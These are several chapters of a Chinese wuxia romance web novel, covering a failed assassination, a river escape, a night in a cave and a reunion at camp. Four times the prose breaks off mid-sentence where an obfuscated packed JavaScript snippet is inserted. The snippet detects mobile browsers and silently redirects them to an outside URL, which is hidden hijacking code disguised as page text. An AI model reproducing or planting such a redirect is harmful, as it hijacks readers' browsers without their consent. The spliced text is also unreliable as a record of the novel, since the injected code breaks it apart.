然而萨尔图却神色冷淡，靠坐在一侧，目光似有若无地扫过厅里每一个人。 他身边的妓子面色发白，笑得勉强，似在强忍剧痛。桌案下的袍角轻微晃动，隐约可见有只皙白如玉的手，在她腰侧若有若无地游走。 燕风垂下目光，走到李氏身后，静静侍立。 直至宴席散场，萨尔图倚着酒意，忽然扫了燕风一眼。 “我身边这个我不喜欢。” 他指了指燕风，“李夫人身后那丫头倒是长得不错。不如，今晚她来陪我？” 话一出，萨尔图身边的妓子眼中闪过一丝解脱，脸上却不敢露出分毫。 燕风心头一震，面上仍装作茫然，好像什么也听不懂。 她知道若现在反抗，便是功亏一篑。若不反抗，等待她的将是什么，她也心知肚明。 但她曾发誓愿为复仇付出一切，若连生命都可以不顾，其他又算得了什么？ 清白而已，只要留她一命…… 就在此时，李氏开了口。 “王子恕罪，这丫头是个傻子，又在外流浪许久，怕身子不干净，冲撞了贵人……” 她声音微微颤抖，和平日的泼辣若两人，却仍拦在阿红身前一步，像堵不高却执拗的墙。 王守举皱了眉，瞪了妻子一眼。李氏低着头，当作什么也没看见。 燕风有些动容，但并不抱希望。 萨尔图微微眯起眼，正欲开口，赵氏却早一步笑盈盈走上前来。 她闷坐整晚，早按捺不住，此刻一边撩鬓发，一边笑得风情万种，娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485533|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道：“表姐说得是。不如，还是妹妹去吧？” 萨尔图听了眉梢一挑，想了想，竟点头道：“也好。” 李氏似还欲再言，王守举却冷冷咳了一声，转头对贵客们笑道：“时候不早了，贵人们也乏了，属下便不打扰了。来人，引贵人们去歇息罢。” 人群散去，王守举与妻子并肩走着。 燕风远远跟在后头，她耳力异于常人，夫妻俩的谈话随风飘进她耳里。 “你多事做什么？”王守举低声冷道，“阿红长成那模样，又在外流浪那么久，还有清白就怪了。你这是多此一举。” 李氏回道：“你以为我是在意这个？” 她声音压得更低，几乎成了气音：“我是闻到了……” 燕风竖起耳朵，却听不清。 李氏接着说：“这种人，我以前见过。姑娘得被他折磨得什么样。阿红她姐替我挡过一刀，还送了命，我护她妹一次，不成么？” 燕风脚步一顿。 月光照在她身上，在眼前的石板地上投下长长的影子。她凝望光影相接之处，突然有些动摇。 当夜。 燕风倚窗而立，眉头紧锁，神色凝重。一缕风从她指尖逸出，悄无声息地探向萨尔图所居的院落。 这是她与生俱来的能力，可探四方之形，听百步之音。 她不敢轻举妄动，只能借风试探，可越是探得深入，她心中越是沉重。 萨尔图的警戒严密得近乎滴水不漏，院墙之内重兵把守不说，连屋檐四角都有人轮流换岗，宛如铜墙铁壁。 她虽能销声，却不能匿形。想要远攻之后脱身？几乎不可能。 她之前所想实在是太过天真，更何况，假若她真能得手，待她逃之夭夭后，李氏又会是什么下场？ 思及此，她几乎头痛欲裂。 心下烦躁，不如什么也不想，倒头睡个大觉。 第二日，勤劳的阿红破天荒地没有早起干活，直到日上三竿，她才慢吞吞地出房。 刚踏进小厨房，便发现小丫头们全都围作一团，七嘴八舌地议论着什么。看到她来了，众人齐齐噤声，眼神诡异地看着她。 燕风心里奇怪，回之以阿红的招牌傻笑。 丫头们想起来她是个傻的，很快又继续叽叽喳喳，并未避开她。 她默不作声地盛了碗豆粥，三个驴肉火烧并五张蛋饼，坐到角落，边吃边竖着耳朵偷听。 “你们听说了吗？今天一大早，赵姑娘就被人抬出来了——” “我亲眼瞧见的，脸上身上全是血，身子都软成一摊了……听说她疯了，一会儿哭一会儿笑，吓死人了！” “谁让她非要贴上去……那是什么神仙啊？我连多看一眼都打哆嗦。” “可谁知道他那么狠？听说赵姑娘现在……这辈子都完了，连屎尿都控不住了……” 一向好胃口的阿红渐渐停止了咀嚼。 赵氏，虽平日为人跋扈讨厌，却也是个活生生的无辜女子。她年纪不大，二十出头，说到底不过想给自己搏个前程…… 嘴里的驴肉火烧突然不香了，只剩一个问题在脑中反复盘旋： 干？还是跑？ 28. 坠渊 昨夜探风带回来的信息，自己捉襟见肘的近身功夫，还有那人凶残的性子，赵氏的下场，都在告诉她： 动手，大概率就是送死。 然而那人一日不死，就会有新的受害者源源不断出现，更何况，那人所图，是北地，甚至是整个大靖。可他若真的死了，这整宅的人说不定也要为他陪葬，里头就包括李氏。 便在这两难的时候，她记起了罗同那次‘教训’她时说过的话：“心存侥幸就是最大的愚蠢。” 天平的两端终于分出了高下，最终的答案已经呼之欲出。 她默默打算：为免节外生枝，今晚上就跑路！ 想通了，燕风顿觉得心里松快了许多，好胃口又回来了。待吸溜了最后一口热粥，她决定今日不去主子面前晃悠，万一又遇上萨尔图就不好了。 于是她没有再去李氏房里上值，而是转身回了厨房。想着这是最后一日了，往后回到军营又要勒紧裤腰过亏待嘴的日子，眼下近水楼台，她嘴便几乎一整天都没停过，还趁人不注意，悄悄藏起一些耐存放的炒货与肉干，预备着回去路上可以磨牙。 现在天气冷，只要不沾到水，应该可以放很久。她心里盘算。 这一日总算相安无事。 傍晚下值，她回去路上经过柴房，又碰上那个送柴的青年。 他正弯着腰卸柴，穿得仍旧既破旧又单薄。因个子高，裤脚还短了不少，蹲下时露出两截瘦削的脚踝，之前受伤的那条腿上疤痕蜿蜒，在寒风里格外扎眼。 她心头莫名一颤，说不清是什么滋味。于是故意磨蹭到一旁，蹲在角落慢吞吞地啃起红薯，就是不肯走。 正巧厨房的总管张大妈也要回去。那青年拦下了她，不好意思道：“张大娘，我腿近来疼得厉害，今天来的时候想去医馆看看，可来的晚了，医馆已经歇业了。能不能让我今晚歇在柴房里，明早一早再去看大夫？这样能省些工夫。” 张大娘皱着眉，语气不善：“你倒说得轻巧。如今府里有贵客，柴火用得快得很，你明天少送一趟，不够用怎么办？” 青年低着头，不敢多言，只默默捏着衣角，显得有些手足无措。 燕风看在眼里，竟莫名生出点心疼。 于是她蹦蹦跳跳地跑上去，扯着张大娘的衣角，咿咿呀呀地指着柴房，笑嘻嘻地比划着。 那意思再明白不过：柴还多着呢，大娘让他住一晚吧。 张大娘嘴角一抽，暧昧地看了她一眼，终于哼哼两声，点了点头。 青年连连躬身道谢，弓着的脊背在渐暗的天光里显得格外可怜。 他蹒跚走远了，燕风还在原地愣愣出神了好一会儿。 晚间回房后，她收拾好了行李，想着抓紧时间休息一下，等夜深了再跑路，可倒在床上时，脑子里却总浮现出那双漏在冷风里的脚踝。 那双脚踝修长，瘦削，还爬着一道长长的疤。 那疤…… 突然她猛地睁开眼，从床上跳起来。 那疤，位置不对啊！ 她仔细回忆起从前见过的画面：上次那青年踩水洼，她丢布给他擦裤子时，也露出了脚踝，但那次疤在的位置，和今日所见的，确然有些细微的不同！ 那是陈年旧疤，总不能突然移了位置吧！ 燕风心跳砰砰直跳，忽然想起另一件事。 宗恂，称罗同为师父。 可罗同的武功，她小时候便见过，虽不俗，但宗恂当时杀那细作时的凌厉身法，却在其之上。 以罗同之能，根本不该为其师。那么他究竟教了宗恂什么？ 她脑海中闪现出青桥县轿中那个娇滴滴的小姐，连喉结都能藏得无影无踪…… 易容术？！ 她被这念头吓了一跳，慌忙翻出那本罗同给她的武册子。 册子她早就背得滚瓜烂熟，但此刻，她一页一页仔细翻看，终于在一页纸上摸出一点异样。待小心撕开那层重叠的纸缝，一张薄薄的小纸条从中滑落。 上面字迹小若蝇蚁，但开头第一句便让她周身血凉： “务必护宗恂周全，此子心藏死志，勿令其行差踏错……” 燕风攥着那纸条，只觉得魂魄都要出窍，她咬牙切齿。 “藏得这么深，这是巴不得我永远别发现是吧……” 与此同时。 宗恂蜷在柴房最角落，像个真生了病的苦力，静静地坐着。没人知道，他手边的柴垛下，正藏着一支用麻布包好的短弓与箭。 夜已深。天干物燥，府中早就明令禁止夜火。 然而厨房后方的小柴棚里，一缕细烟正悄悄从柴堆底下冒起，混着一股被木料掩盖的油脂味，沿着地砖缝缓缓逸出。 约莫一盏茶后，小院西侧隐隐传来一声呼喝，有守卫压低声音：“有烟……快去看看，别惊动主子们。” 宗恂心中冷笑。 他并未急着行动，只在确认几名守卫往后院来了之后，才悄无声息地打开柴门，迅速穿过院角的小径。借着夜色与混乱，他蹿到偏门附近，盯上了一名独自行走、与他身形相仿的守卫。 他蹲在墙影，握紧手中一块掌心大小的青砖。 当那守卫转身要跟上时，他猛地窜出，一砖拍在他后颈。守卫一声未吭，软软倒地。 宗恂拖着那人藏入灌木后，利落地脱下他的外袍、甲片、靴子，然后穿戴整齐。 他摸了摸腰间，腰牌俱在，于是从容起身，脚步不疾不徐，融入巡夜队伍。 他一步步向正院靠近。 萨尔图房外四角依旧都守着人，但因府中的小火尚未熄灭，巡逻路线有变，护卫们皆神情紧张，根本没细看来往人的模样。 他装作路过，趁着一阵夜风扑面，低头擦身而过。 终于走到了萨尔图的窗下，他扫过一眼，立时俯身从靴中拔出那管暗箭，压低身形，拉弓如满月。 “嘣” 双箭齐发，直取房中人胸口和腹部。 “锵——锵——”两声金属脆响。 “谁！”萨尔图怒喝。 他从床上翻下，踏地之声沉重。 这人竟然在睡梦中也披上了护甲！ 宗恂冷眼一眯，第三箭射出，电光石火间，一道寒芒直奔萨尔图眉心！ 萨尔图闪避不及，被箭羽擦过额角，带下一大撮血迹斑斑的头发。 三箭，彻底惊动了整个正院，无数护卫朝这里涌来。 宗恂当机立断，抛下弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485534|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭，拔出佩刀，破窗而入，直扑萨尔图！ 萨尔图竟不慌，低喝一声从墙上拔刀相迎。 二人刀刃交击，一时间火星四溅。 萨尔图臂力沉猛，刀法霸道，而宗恂出招果断、步伐诡谲。两人你来我往，不过几息之间，屋中桌凳翻倒，灯火溅油，映出两人影影绰绰、杀气如潮。 “你是何人？”萨尔图哑声怒斥，“找死！” 宗恂沉默不语，一刀直逼他护甲下的咽喉。 萨尔图猝不及防，刀锋擦过甲缝，带出一线鲜红，他怒吼着后退。 屋檐上守着的几名护卫率先破门。 宗恂回身，毫不留情地一脚踹倒一人，旋身割喉另一人，动作狠辣，毫无停滞。 但敌援越来越多。 萨尔图本来武功就不落于他多少，只是被他打得措手不及，此时缓过气来，在手下们用尸身垒成的壁垒下开始反攻。 鲜血渐渐沾湿宗恂的衣襟，体力在剧烈消耗中迅速滑落。他一刀挡开敌人重击，踉跄倒退一步，嘴角已溢出血丝。 望着近在咫尺的萨尔图，他唇角竟勾起一丝癫狂的笑。 “若不是你穿了那身乌龟壳，”他幽幽道，“你已死了三次了。” 说罢，他猛然发力，反手又夺过身边一人的长剑，闪电般贴身突进，双锋直扑萨尔图心口！ 他浑身空门大开，竟是全然无视周围敌人刀枪，只如一只注定扑火燃烬的飞蛾。 同归于尽的必杀之技。 萨尔图面色一变，仓皇挥刀。 就在这千钧一发之际，屋外忽起一阵旋风，平地卷动，如猛兽扑门，骤然灌入堂内！ 风啸如刃，砂石激射，瞬间将满屋人的视野搅得一片混沌。 一道黑影随风而入，半空中猛然翻转，袖袍猎猎张开，如疾风骤雨般卷住宗恂，将他裹入怀中！ “走！” 燕风咬紧牙关，强行催动风力，托着宗恂从房内拔地而起。脚下风卷残叶，两人一跃冲上高墙，瞬息间没入夜色之中。 身后萨尔图怒吼声震天响：“追！给我追回来！！” 合鲁台也已赶至，不知从哪抬出一架床弩，寒光森森的箭头直指他们二人。 燕风回头一眼，冷不防差点脚下一滑从墙上跌落。 那是重弩！ 她能以风偏转寻常箭矢，对这等重兵器却完全无能为力。何况她此刻还负着一人，行动滞缓，根本无从闪避。 怀中宗恂也看见了那架巨弩，低声道：“你我素不相识，何苦陪我送命。” 说着竟要挣脱她的臂弯。 燕风听得怒火直窜，心中大骂：“有病吧，谁与你素不相识？“ 然而她余光一扫，忽见不远处一河如银龙奔涌而过，浪涛轰鸣，恍若天堑。 那是北地的苍河，岸石锋砺，常年暗流翻涌，这时节河水更是冰冷刺骨。 她咬紧牙关，对着自己腰间绑着的炒货肉干默念一声作孽，顺着宗恂挣扎的力道一带，猛然一跃！ 两道身影从夜色中翻落而下，扑入那吞天裂地般的寒流之中。 “扑通！” 箭矢破空而来，却只穿透一片空旷夜色，激起水面万点银花。 29. 共生 苍河怒啸，浪涛奔腾。 身后是如雨的箭矢与追兵。燕风护着宗恂，一头扎进冰冷刺骨的河水，入水那一刻，巨大的冲击力如大山压顶，几乎将她整个人拍得昏厥。耳边的风声戛然而止，天地仿佛刹那归于死寂。 可这死寂里，杀机未歇。 “砰——砰——砰——！” 箭矢接连轰入水中，炸开闷雷般的声响。 湍急的水流虽偏折了大半箭势，但仍有一支带着残余劲力的重箭，划出沉沉的弧线，直追而至。 水中光线晦暗，燕风神海仍在震荡，浑然未觉。怀中的宗恂却似有所感，他猛地转身，一把将她整个人护在身下！ “噗！” 箭矢钝响着刺入他的肩膀，力道沉重。他的手在她背上一紧，像是安抚，又似告别。 即便隔着水，燕风仍能清晰感受到那一瞬传来的颤栗与炙热，她浑身一震，神志悚然归位。 “疯子……” 她在心中喝骂。 苍河水势狂烈，好在肚里白日塞的那几碗羊肉臊子分量尚足。她抱紧他，手掌轻轻压住他肩上血流如注的箭口，拼尽全力，向更深更远处潜去。 岸上。 萨尔图怒发冲冠，他的伤口尚未包扎，颈侧与额角的血仍在慢慢渗出，血与河风交缠，将他一张俊脸映得狰狞。 “继续放箭！给我放——！” 他甚至亲自夺过一具重弩，几步冲至岸沿，连发三箭！ “咚！咚！咚！”水面被箭矢砸出一串爆炸似的巨响，浪花四溅。 然而水面空空如旧，那二人仿佛滴水入海，再无半分踪迹。 合鲁台心疼那些造价不菲、远道运来的精铁箭簇，上前低声劝道：“殿下，苍河暗流汹涌，就算是草原里最擅长游泳的勇士，也容易被卷入河底沙涡。且那人还受了伤，想来应是没有可能生还了。” 萨尔图骤然回身，眼神如刀，狠狠斩向王宅众人。那一眼里燃着滔天怒火，仿佛下一个要亲手投进河里的，便是他们。 王守举不自觉往后缩了半步，冷汗悄然滑入衣领。 而无人察觉的是，苍河之上，一串细密的水泡悄然涌入水下深处，随暗流而去，缓缓远离了是非之地。 * 燕风带着宗恂沿着河底潜行许久，直到远离了王宅，才终于浮出水面。 她能使风入水，助他们呼吸，这才能撑到此处。但河水冰寒入骨，宗恂又负伤在身，气息愈发微弱，她心中焦急如焚。 幸好她还算熟悉北地的地形，这处支流延入密林，尽头藏着一座隐秘山洞，是她三四年前随宗谦驻军时偶然发现的。初潜青阳镇时她也曾在此暂歇，洞不大，却干燥避风，角落里还留着她数月前藏下的干草与柴禾。 她拖着宗恂上岸，将他安置在草堆上，便立刻开始动手褪下他浸水的衣服，连贴身短裈也没放过。等用干草把他包了个严实后，自己则去生火。 柴禾被他二人带来的湿气所染，受了潮，火折子点燃几次都只冒了些白烟就熄了。她试了一会儿，无果，又想到夜间生火或会引来注目，只好咬牙作罢。 她转回身，看向宗恂。 月光透过洞口，落在他身上。他昏迷不醒，唇色发紫，分明是失血，再加上冻得太过，命悬一线。 而她因白日吃得过饱，又在水中剧烈运力，此时浑身发热，额间也沁出汗珠。于是她不敢再耽搁，解下自己的衣物披在身后，又整个人覆在他身上，将他紧紧抱住取暖。 她将他的头贴在胸前，一手鼓起细细的暖风，另一只臂膀则紧紧圈住他的背，尽己所能传递体温。 她低头看着宗恂的脸。 她一直知道他是好看的。幼时偷看他练剑，十二三岁的少年，身形尚未舒展，剑锋流转间，已叫人挪不开眼。那时她年幼懵懂，不解情为何物，只觉“天人之姿”四字，大抵如此。 后来重逢，反倒不敢细看。纵使他神色温煦，言语柔和，可她总觉得他身上光芒太盛，叫人不敢逼视。每每目光相触，便仓促避开。 而如今，寒河涤尽前尘，恩与情俱泯，唯余两人狼狈相偎。他静静躺在她怀中，她终于能肆无忌惮地瞧瞧他。 经过一夜奔逃与河水冲刷，他那一层精巧的易容已经掉了一半，原本俊朗的眉眼终于露了出来。双眸轻阖，平日锋芒尽数敛去。睫羽微颤，恍若残冬积雪间一把斜逸的松针。眉宇间犹存三分少年时的旧影，如松间新雪未消，清冽犹在。 她怔怔望着，不觉颊生薄红。 此刻二人皆不着寸缕，又以如此姿势相贴，她脑中忽地冒出个促狭的声音： “今日之险在往后只会更多，说不定什么时候就会死，不如趁现在轻薄他一番……反正他又不会记得。” 她从小自封檐上君子，房中秘语难免听了个七八成，也并非毫无想象。以前偷看秘戏图还会脸红，此刻却忽觉：若人生真如明日黄花，连意中人都没碰过一回，岂不亏大了？ 另一个声音却立马跳出来大声反驳：“他肩上的伤，四舍五入也是为你挡的。你现在趁人之危，和那无耻卑鄙的萨尔图又有什么分别？” “别忘了，他可是宗大将军的儿子啊！” 这个名字似一盆冷水兜头浇下，让她从轻浮小贼瞬间变回了正经侠女。 这该死的良心。 平静下来后，她忽然想起罗同那张字条上后头的几句话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485535|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自今上御极以来，昔之抗命者多降，独数子持志弥固，竟全节自裁” 那个男人，拥有的是怎样可怖的帝王之力？能令万众归心，逆者自灭。 故虽于边瓦敌营中囚困一年，却能全身而退；亦能在废黜为庶人后，仅凭宫婢宦竖之力，便重夺九鼎。 凡逆其锋芒者，如攀绝壁而溯怒涛。除非赴死，难有他途。 而宗恂，自幼在宫中长大，日日直面那万众归顺的天命之主，竟能坚持至今，只是在漫长的挣扎后，把自己放逐于前线沙场。 把生死留给敌人，而绝不温顺地跪服。 她望着他苍白却仍紧绷的面容，忽然心口一涩：他能撑到今日，想必已然是用尽了力气罢。 她轻轻叹了口气，把他的头贴得更紧一些，像拥着一件珍宝。她的掌心仍温柔送出热风，仿佛这样便能把她所有的温暖与力量，都一点一点渡进他体内。 不久，她撑不住疲惫，抱着他沉沉睡去。 直到清晨，宗恂醒了。 他初只觉得暖意萦绕，周身寒意尽消。待他缓缓睁开眼，迎面便是一道近在咫尺的、柔软温润的光景。 莹白如雪，如玉生光。 宗恂蓦地睁大眼睛，理智顷刻间崩塌。紧接着他发现自己全身赤裸，对方亦未着寸缕，两人竟以这般亲昵的姿态相贴。 这是二十多年从未有过的体验，连身体也起了本能反应。他心中大骇又惶然，愧意翻涌。 她救了他，他却……他赶紧闭上眼，努力平复呼吸。 此刻，唯一能保住体面的办法，就是装睡。 又过一刻，洞外鸟雀不知死活开起了朝会，叽叽喳喳，燕风皱了皱眉，终是被这聒噪悠悠搅醒。 甫一睁眼，登时骇得六魂出窍，险些一个鹞子翻身蹦起来。 昨夜月昏星暗，尚觉自己正气凛然，而现在青天白日，明晃晃的日头照着两具光溜溜的身子叠在草堆里。那光景，活似家国天下的状元文章，一翻页竟成了秘戏图头一折！ 然而低头见宗恂仍双目紧闭，只得强按心神，先探他情况。 毕竟清白事小，人命事大。 幸而箭伤已止了血，宗恂面色虽泛红，额却不烫，气息也匀。她长舒一口气，暗念一声佛祖保佑，好歹没教人死在自己手里。 这才连滚带爬挣出草堆，一边手忙脚乱套衣衫，一边默念："菩萨保佑，千万莫醒，千万莫醒，千万莫醒……" 衣裳昨夜贴肉烘着，倒已干透。她三下五除二将自个儿收拾得差不多，转脸盯住宗恂，决意助他衣冠重整。 上半截倒还顺当，扯着袖子便套了进去，轮到下裳时却卡了壳， 那犊鼻裈死活套不上啊！ 30. 窃光 她捏着裤腰对着日头细瞧，活像钻研上古阵图。看了许久，她口中喃喃："怪哉，昨日分明是从这头褪下的……怎的今日就乾坤倒转了？" 再试一回，手法之谨慎，堪比当年她第一次琢磨撬锁。却仍旧卡在半途。 忽而灵光一闪：若想成事，只需将那‘拦路虎’拨开个角度即可。 燕风霎时面红如蒸蟹，头顶几乎冒出白烟。转而却又暗自欣慰：她虽未经人事，却也晓得男子晨起昂藏气象乃是身体康健的迹象。如此看来，宗恂未伤到要害，倒是喜事一桩。 正待咬牙施为，忽觉他气息紊乱了几分。她指尖一颤，心几乎跳出嗓子眼—— 这杀千刀的莫非这时候要醒了？ 当下满脑子皆是"无量天尊，菩萨保佑"，抖着手将短裈草草往他腰间一搭权当遮羞，自己便跳起来要寻出路。 她边系衣带边在心里自我安慰：“幸而昨夜没当面戳穿他，做个爱多管闲事的陌生人也挺好的！日后还好相见。” 慌乱间也不忘摸出昨夜从王宅顺来的瓜果零食——虽被河水泡了一夜，好歹能煮锅汤水充饥。 又褪下腕间一对银镯。这对镯子原是厨房张婆子压箱底的私藏，前几日被她顺手牵羊。她那时理直气壮："装傻子给她做了这么久苦力，抵作佣金正合适。"如今却留给宗恂：他受了伤，回去路上艰难些，若有事敲碎了当个碎银子应急使也好。 一切妥当，回望宗恂，好在那人仍闭目不醒，安详如入定老僧。她转身便走，临到洞口却忽地顿足，气极反笑。 "冤孽！分明清清白白，倒似偷汉被捉了现行……” 山风掠过，吹得她眼角微潮。 若是昨夜假戏真做便好了。 窝囊！亏大了！ 燕风遁后不久，宗恂终是睁了眼。 肩伤于他不过寻常，他静静望着洞顶斑驳石纹，方才那阵莫名心潮随她离开而如浪退去，唯余几痕细碎水迹，还漫在心头若有似无。 一转头，便见身侧整齐码着几包浸湿的干粮，另有一对银镯，映着洞外漏进的微光，晃得刺眼。 他怔了怔，心口倏地一涩。 他素知燕风重情。幼时受父亲几年庇护，她便把定北军之殁，尽数担在自己肩上。年纪轻轻，竟生出一腔滔天血仇，连生死都置之度外。 可他不知，她心肠竟软成这样，对他这个‘素不相识’的陌生人，也能如此毫无保留地救他、护他、替他暖身，临走还怕他饿死荒野，连贴身银镯都舍得留下。 宗恂眼神黯了黯，伸手拿起那对银镯，指腹缓缓摩挲片刻。 他若保留此物，日后若被她知晓，只怕会叫她难堪。稍后找块趁手的石头，就砸碎此物吧。 山洞外，阳光斜洒。 他走到溪边，想取水洗漱一番，却见水流之中，倒影清晰可见。他忽然止住了动作，神情一怔。 溪水澄澈，那影中之人，虽仍覆着淡淡粉膏，但额角颊侧已有大半脱落，露出了真容。 那是他自己的脸，再不是送柴人的陌生皮相。 心中一线光亮骤然掠过，仿若雷电劈开沉云。 ——她认出他了。 昨夜死里逃生，以身取暖，今晨慌乱避嫌，又处处妥帖，从来不是对陌路人的慈悲，而是独予他的…… 待回过神来，那对银镯早已贴身收进怀里。拇指无意识抚过胸前衣料，仿佛还能触到那点残存的温度。 多年来死气沉沉的心头，竟涌入一阵隐秘的欢喜。 * 虽说是因羞愧难当而逃，燕风却终究未能走远。 宗恂先前那副一心求死的模样仍烙在她眼底，教她不敢放任他独行，于是便远远跟着，既不敢靠得太近，又不舍得离得太远。 这一路，实在是苦！ 她不敢生火，只得在林中采些野果野菜果腹。偶有野鸡野兔跃入视线，也只能眼巴巴看着，动不得分毫。整个人饿得头晕眼花，几次忍不住想生火炖上一锅，终是怕烟火袅袅引他察觉，强行按下了念头。 可话又说回来，就算被他撞见，又能如何？她清清白白，问心无愧！ 她心中暗恼自己懦弱脸皮薄，偏又过不去那道坎，总不能真在林中迎上去：“真巧，将军，您也在这哈。” 遥遥望着那道身影徘徊过几座山头，终是在几日后的黄昏时分回了营地，她这才松了口气，又在外头枯等了一个时辰，才拖着步子往回走。 一踏入营地，燕风第一件事就是去寻江鱼与陈青。 陈青见她回来，自是喜出望外：“就知道你死不了！快，快去将军那儿请功去！这回立了大功，可得当面报上。” 燕风摆手：“我现在像个叫花子，男装也还没换回来，哪敢贸然闯帐？再说，我这一身血泥，还是洗洗再说，等明日打扮打扮再去吧。” 江鱼听了这话，却斜她一眼，不依不饶道：“你那点打扮，我还不清楚？三刻钟足矣，换完就去，将军白日连个影儿都见不着，晚上说不定清闲些。你这趟一去这么久，又立了大功，就该积极点请功才是。” 燕风心下苦笑，暗道去早了说不定赶上将军也要沐浴呢，面上却点头：“你说得是。” 她本是想着拖一晚，明日再从容应对。 但江鱼这人，平日里极好说话，今日却不知怎地紧咬不放，在澡房外叽叽喳喳地催着：“你是掉坑里了？还是蒸得晕了？两刻钟都过了！” 燕风实在受不了她，终是披着湿发走了出来。 江鱼早早备好一身干净军服，动作利落地替她换好，还替她束发拢带整衣正襟，又拍拍她肩，一副送上战场的模样。 “去吧，咱们的大功臣！快些把你那惊天动地的事说与将军听听。” 两人至主帐前，燕风原是想请门前军士通禀一声，江鱼却早抢着上前，一派得意模样。 “我们军里的大功臣回来了，还不快快通传？” 那军士白眼一翻，似乎与江鱼素有些龃龉：“你说功臣就是功臣？将军帐前岂容胡言乱语？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485536|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江鱼正欲还嘴，帐中却忽传来一道低沉的嗓音：“让她进来吧。” 那军士登时变了脸色，只得悻悻放人。 江鱼抬眉一笑，神采飞扬，转头朝燕风使了个扬眉吐气的眼色。 燕风心下微动：看来她不在时，江鱼的日子怕是不太好过。 但眼下她倒顾不上这许多，她低头看路，朝那人走去的每一步都像飘在空中。 帐门未启，心先乱了。 她在心里一遍遍安慰自己：他那时昏迷不醒，我做了什么他什么也不知道。我也当作只救了个陌生人，没什么大不了的。 可等到帐帘掀开，灯火映面，一眼望见宗恂坐在主位上，风姿依旧。 她的心，还是不受控制地漏跳了一拍。 他仍是那副沉静的模样，唇角噙着一丝若有若无的弧度。偏生她脑海中蓦地浮现出一些罪过的画面，顿时耳根发烫，连指尖都紧张地蜷缩起来。 她不敢直视，连忙低头强自镇定，不小心就跪地磕头行了个大礼。 “属下燕风，参见将军。” 宗恂见她郑重行礼，眉头微皱，语气却一如往常平淡： “起来吧，何必这么客气。去北地一趟，就生分了？” 这话落到燕风耳里，便仿佛意有所指。她脑中弯弯绕绕转了好几圈，心道：若是个傻的，肯定张口就来一句：‘哪里生分了，在北地明明处处都同您一块儿！’ 这可不行，自己才不往这套里跳。 于是眼珠一转，往反方向说：“将军说得是。多日不见，确实如隔三秋。” 宗恂听了，唇角不由一翘，似笑非笑地看了她一眼。 燕风根本便没有抬头，自然什么也没看到。她埋头专注地与地上一只路过的蚂蚁大眼瞪小眼，仿佛那才是找她问话的上官。 宗恂又道：“知你一路赶来，怕是也饿了。这里恰有一桌饭菜，我这会儿没什么胃口，空放着也是浪费。你不嫌弃，便一同用了吧。” 燕风这才回过神，惊觉房中饭菜香气氤氲，自己方才紧张得魂都飞了半个，竟半点没察觉。 她矜持地行了一礼：“多谢将军。”这才落座。 低头一看，眼前这桌菜色却叫她微微一怔。 竟和她在王宅大快朵颐时的风格如出一辙：豆粥、烤红薯、羊肉臊子面、蛋饼、驴肉火烧……甚至还有王宅逢节庆才能吃上的酱肘子。 燕风心头一热，他竟将她的口味记得这般清楚…… 这个救命恩人，当得实在太值了！ 她不敢显露太多情绪，只装傻似的感慨道：“真巧了，这菜式与属下在北地时所食极是相像，将军费心了。”这才小口小口吃起来， 起初还装得矜持，吃得慢条斯理，怎知几口羊肉臊子下肚，脑子里美得仿佛冒起了金星。 又夹了一块酱肘子入口，鲜香入骨！她眼角一热，竟然不争气地落了泪。 这几日，真是遭大罪了！ 实在是太饿了啊。 31. 同餐 宗恂见她吃得狼吞虎咽，眼角还挂着泪，不由得笑了，索性撂下筷子，专心伺候起她来。递水，递布巾，无微不至。到后来，竟鬼使神差地将布巾伸向她脸颊，想替她拭泪。 这动作一出，两人俱是一愣。 宗恂迅速收手，轻咳一声：“饿成这样。看来你这一路，是真受苦了。” 燕风心头乱撞，却牢记‘反话才不露馅’的准则，讪讪道：“哪儿的话，属下不苦，就是向来吃饭爱流泪。” 话一出口，自己先窘得想钻地缝。 她忙岔开话头：“将军怎不用些？这一桌好菜，可都便宜我了。” “我午时吃得过饱了。” 